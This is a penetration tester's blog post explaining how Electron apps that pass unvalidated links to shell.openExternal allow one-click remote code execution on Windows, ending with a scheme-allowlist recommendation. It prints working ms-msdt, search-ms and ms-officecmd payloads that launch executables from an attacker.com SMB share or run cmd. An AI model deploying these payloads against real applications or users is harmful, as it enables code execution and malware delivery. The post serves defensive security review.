1-click RCE in Electron applications

Links to third-party websites should be properly validated and checked before opening in the Electron JS applications. If the protocol of the link is not limited to http:// or https://, an Electron application becomes vulnerable to 1-click RCE attacks. This kind of attack exploits the Electron model and user’s navigation mechanism which redirects a user from the Electron app to the browser.

April 20, 2022 · PAVEL SHABARKIN, PENETRATION TESTER

Introduction

In my previous blog post, I described the architecture and design for my theoretical misconfigured Electron application. I would suggest to read the introduction part to fully understand the context of the application described in this blog post.

This is a second blog post related to the importance of user limiting in an Electron native application. By opening not app specific links in the native application, It’s fairly common for the Electron framework to open them with unsafe function that redirects a user to the browser. This mechanism should be limited on the app business logic level to decrease the risk of being exploited.

RCE at the second attempt

If the Electron desktop application is deployed with proper nodeIntegration, contextIsolation settings; it simply means that client-side RCE by targeting preload scripts or Electron native code from the main process can not be achieved.

Currently there are no direct exploits or bypasses of these controls meaning if they are set up in a strict fashion then client-side RCE cannot be achieve.

However, during app navigation review, it is important to determine what links desktop app will open in the new desktop app windows and what will open in the browser. Let’s consider the case when all the links outside the main domain should open in a separate web browser.

Review of the app navigation [shell.openExternal]

Each time a user clicks the link or opens a new window, the following event listeners are invoked:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

The desktop application overrides these listeners to implement the desktop application’s own business logic. During the creation of new windows, the application checks whether the navigated link should be opened in a desktop application’s window or tab, or whether it should be opened in the web browser. In our example the verification is implemented with the function openInternally, if it returns false, the application will assume that the link should be opened in the web browser using the shell.openExternal function.

The openInternally function has a predefined list of domains whose contents should be rendered in the application’s desktop (In this example only application domain).

Here is a simplified pseudocode:

Accordingly to Electron JS security best practices, the openExternal function should not accept untrusted content (user’s urls):

Shell’s openExternal allows opening a given protocol URI with the desktop native utilities. For example, on macOS, this function is similar to the open terminal command utility and opens a specific application based on the URI and filetype association. When openExternal is used with untrusted content, it can be leveraged to execute arbitrary commands.

The JS window.open function will trigger the "new-window" event listener, and for any provided URL, which is not aligned with application’s internal allowlist, the application will open it with electron.shell.openExternal function in the user’s browser.

window.open("smb://domain.com")

If the application does not limit users navigation through https:// or http:// protocols, it opens up a wide attack surface. An attack could target native capabilities of the OS platform, where the Electron desktop app is launched.

URI schema exploits to leverage RCE

By targeting the native capabilities of the different OS platform, the more mime-type features the OS could support, the wider attack surface It would have. At this point, let’s focus on Windows and start looking for windows URL scheme exploits.

Positive Security completed research in which they explain in detail how URL schema exploits work and how they can affect OS platforms. Being inspired by the folks from Positive Security and Benjamin Altpeter , we crafted several payloads which would force the application to execute our code

Allow arbitrary URLs, expect arbitrary code execution

There is several cases of most impactful URL schema exploits, but for more details I would suggest looking at the original article.

The dangers of Electron’s shell.openExternal()—many paths to remote code execution

Case #1

Windows includes the ms-msdt: protocol, which opens the Microsoft Support Diagnostic Tool. This tool provides a troubleshooting wizard to diagnose problems with Wi-Fi, audio, and the like. This protocol directly passes the string given to the msdt.exe program. An attacker needs to find an included wizard that allows execution of arbitrary programs, preferably even remote ones. The program compatibility wizard fits this description. Furthermore, all user input can also be pre-filled from the command line, leading to this URL:

ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\\\[attacker.com](<http://attacker.com/>)\\smb_share\\malicious_executable.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO

By crafting the following XSS payload, we could exploit every user who visits the functionality that is vulnerable to XSS:

window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")

Upon opening this URL with shell.openExternal(), the troubleshooting wizard will open and show a “diagnostic” progress bar. Once completed, the user is asked to click a button to check the compatibility settings. When they do so, our malicious executable is launched again from the remote server. Since this vector uses the official Microsoft troubleshooting tool that the user is probably already familiar with and signals that a legitimate diagnostic is taking place, it won’t be difficult for an attacker to convince the user to click this button.

Case #2

Windows also includes the search-ms: protocol, which opens the search feature. An attacker can supply both a search request and a location. This location can also be on a remote Samba share. Finally, an attacker can even set a search window title. Using this, the attacker can craft the following URL searching our SMB share to only display the malicious executable with a title suggesting an important update:

By crafting the following XSS payload, we could exploit every user who visits the functionality that is vulnerable to XSS:

window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")

Case #3

When reviewing the supported URL schemas in the Windows, I found a weird naming ms-officecmd and similar cmd schemas. I assumed that these features could potentially be abused. And what a surprise the next day, Positive Security published their research on how they exploited these URL schemas to leverage RCE attacks:

They discovered a drive-by code execution vulnerability on Windows 10 via IE11/Edge Legacy and MS Teams, triggered by an argument injection in the Windows 10/11 default handler for ms-officecmd: URIs.

Windows 10 RCE: The exploit is in the link | Positive Security

By crafting the following XSS payload, we could exploit every user who visits the functionality that is vulnerable to XSS:

ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\\"C:\\\\Windows\\\\System32\\\\cmd%20\\/c%20ping%2016843009%20&&%20\\""}}

window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")

Recommendation

I would recommended limiting the URI schema to https://, http://, and mailto: only. If any other URI schema is required by application business logic, it should be additionally reviewed.

Summary

All cases demonstrated in this research resulted in remote code execution attack requiring only one user interaction. All of the actual exploitation steps were taken from the mentioned research; I just wanted to share my experience and thoughts, and point out the reason why this is a “must have” to review the desktop app navigation developed in Electron JS applications.

Reference

  1. https://www.electronjs.org/docs/latest/tutorial/security#15-do-not-use-openexternal-with-untrusted-content
  2. https://positive.security/blog/url-open-rce#windows-10-19042
  3. https://positive.security/blog/ms-officecmd-rce
  4. https://benjamin-altpeter.de/shell-openexternal-dangers/

News & Updates...

We are happy to share our methodology and security guide on how to do security reviews for Ruby on Rails applications through source code. In the article you will get an idea about the architecture and design of Ruby on Rails, present security checklist to increase the coverage for penetration testing assessments, and review how to find and exploit most of the OWASP 10 vulnerabilities.

Join us in exploring Meteor JS vulnerabilities.

XSS can be particularly devastating to Electron apps, and can result in RCE and phishing that might not be viable in a browser. Electron has features to mitigate these problems, so applications should turn them on. Even XSS that would be low-impact in the browser can result in highly effective phishing if the application’s URL allowlist is improperly designed. Attacks exploit the Electron model and the application-like presentation of Electron to gain the user’s confidence.